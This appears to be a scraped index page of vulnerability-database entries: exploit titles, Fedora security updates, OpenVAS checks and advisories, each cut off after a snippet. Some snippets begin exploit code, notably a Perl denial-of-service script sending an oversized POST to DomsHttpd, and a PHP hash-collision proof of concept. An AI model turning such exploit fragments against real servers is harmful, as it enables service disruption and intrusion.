DomsHttpd 1.0 - Remote Denial of Service

!/usr/bin/perl DomsHttpd 1.0 Usage: domshttpd.pl host port use strict; use warnings; use IO::Socket; my $host = shift || "localhost"; my $port = shift || 88; my $sock = IO::Socket::INET-new Proto = "tcp", PeerAddr = $host, PeerPort = $port ; my $junk = "A"x3047; print $sock "POST /...

tls-nextprotoneg NSE Script

Enumerates a TLS server's supported protocols by using the next protocol negotiation extension. This works by adding the next protocol negotiation extension in the client hello packet and parsing the returned server hello's NPN extension data. For more information, see: Script Arguments...

[SECURITY] Fedora 16 Update: polipo-1.0.4.1-6.fc16

Polipo is a lightweight caching web proxy that was designed as a personal cache. It is able to cache incomplete objects and will complete them using range requests. It will use HTTP/1.1 pipelining if supported by the remote server...

MiniUPnP 1.4 - Multiple Denial of Service Vulnerabilities

source: https://www.securityfocus.com/bid/57602/info MiniUPnP is prone to multiple denial-of-service vulnerabilities. Attackers can exploit these issues to cause denial-of-service conditions. MiniUPnP versions prior to 1.4 are vulnerable. M-SEARCH HTTP/1.1 Host:239.255.255.250:1900...

PHP Hash Table Collision Proof Of Concept

Exploit for php platform in category dos / poc ''' This script was written by Christian Mehlmauer Original PHP Payloadgenerator taken from https://github.com/koto/blog-kotowicz-net-examples/tree/master/hashcollision CVE : CVE-2011-4885 requires Python 2.7 Examples: - Make a single Request, wait f...

Fedora Update for httpcomponents-client FEDORA-2011-7747

Check for the Version of httpcomponents-client OpenVAS Vulnerability Test Fedora Update for httpcomponents-client FEDORA-2011-7747 Authors: System Generated Check Copyright: Copyright c 2011 Greenbone Networks GmbH, http://www.greenbone.net This program is free software; you can redistribute it...

[SECURITY] Fedora 15 Update: httpcomponents-client-4.1.1-2.fc15

HttpClient is a HTTP/1.1 compliant HTTP agent implementation based on httpcomponents HttpCore. It also provides reusable components for client-side authentication, HTTP state management, and HTTP connection management. HttpComponents Client is a successor of and replacement for Commons HttpClient...

HTB22954: Path disclousure in yappa-ng Photo Gallery

Vulnerability ID: HTB22954 Reference: http://www.htbridge.ch/advisory/pathdisclousureinyappangphotogallery.html Product: yappa-ng Photo Gallery Vendor: http://www.zirkon.at/ http://www.zirkon.at/ Vulnerable Version: 2.3.2 Vendor Notification: 12 April 2011 Vulnerability Type: Path disclousure Ris...

Fedora Update for pywebdav FEDORA-2011-2460

Check for the Version of pywebdav OpenVAS Vulnerability Test Fedora Update for pywebdav FEDORA-2011-2460 Authors: System Generated Check Copyright: Copyright c 2011 Greenbone Networks GmbH, http://www.greenbone.net This program is free software; you can redistribute it and/or modify it under the...

[SECURITY] Fedora 15 Update: pywebdav-0.9.4.1-1.fc15

WebDAV library for Python. WebDAV is an extension to the normal HTTP/1.1 protocol allowing the user to upload data, create collections of objects, store properties for objects, etc...

[SECURITY] Fedora 13 Update: pywebdav-0.9.4.1-1.fc13

WebDAV library for Python. WebDAV is an extension to the normal HTTP/1.1 protocol allowing the user to upload data, create collections of objects, store properties for objects, etc...

[SECURITY] Fedora 14 Update: pywebdav-0.9.4.1-1.fc14

WebDAV library for Python. WebDAV is an extension to the normal HTTP/1.1 protocol allowing the user to upload data, create collections of objects, store properties for objects, etc...

Apache Shiro - Directory Traversal

Apache Shiro - Directory Traversal source: https://www.securityfocus.com/bid/44616/info Apache Shiro is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input. Exploiting this issue may allow an attacker to obtain sensitive information that coul...

ruby -- UTF-7 encoding XSS vulnerability in WEBrick

The official ruby site reports: WEBrick have had a cross-site scripting vulnerability that allows an attacker to inject arbitrary script or HTML via a crafted URI. This does not affect user agents that strictly implement HTTP/1.1, however, some user agents do not...

XSS vulnerability in Campsite

Vulnerability ID: HTB22495 Reference: http://www.htbridge.ch/advisory/xssvulnerabilityincampsite1.html Product: Campsite Vendor: Sourcefabric o.p.s http://www.sourcefabric.org/ Vulnerable Version: 3.3.6 and Probably Prior Versions Vendor Notification: 16 July 2010 Vulnerability Type: XSS Cross Si...

Wiki Web Help 0.2.7 Shell Upload

------------------------------------------------------------------------ Software................Wiki Web Help 0.2.7 Vulnerability...........Arbitrary Upload Download................http://sourceforge.net/projects/wwh/ Release Date............7/1/2010 Tested On...............Windows Vista + XAMPP...

HTTP 1.1 - GET Directory Traversal

HTTP 1.1 - GET Directory Traversal source: https://www.securityfocus.com/bid/39590/info The HTTP application is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input. Exploiting this issue will allow an attacker to view arbitrary local files an...

Internet Explorer Long URL Buffer Overflow (CVE-2006-3869; CVE-2006-3873)

Microsoft Internet Explorer IE is the most widely used web browser application. The browser is capable of processing HTML, images, scripting languages, and various other popular Internet specifications. A vulnerability has been reportedly introduced into certain versions of Microsoft Internet...

Opea 10.50 Integer Overflow

?php / @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ ....................../´¯/ ....................,/¯../ .................../..../ ............./´¯/'...'/´¯¯·¸ ........../'/.../..../......./¨¯\ ........'...´...´.... ¯/'...' ..........................'...../...

Mod_proxy from apache 1.3 - Integer overflow which causes heap overflow.

Name: Modproxy from apache 1.3 - Integer overflow which causes heap overflow. Author: Adam Zabrocki [email protected] or [email protected] Date: Jan 27, 2010 Issue: Modproxy from apache 1.3.xx tested on latest version - 1.3.41 allows local and remote attackers to overflow buffer on heap via integer...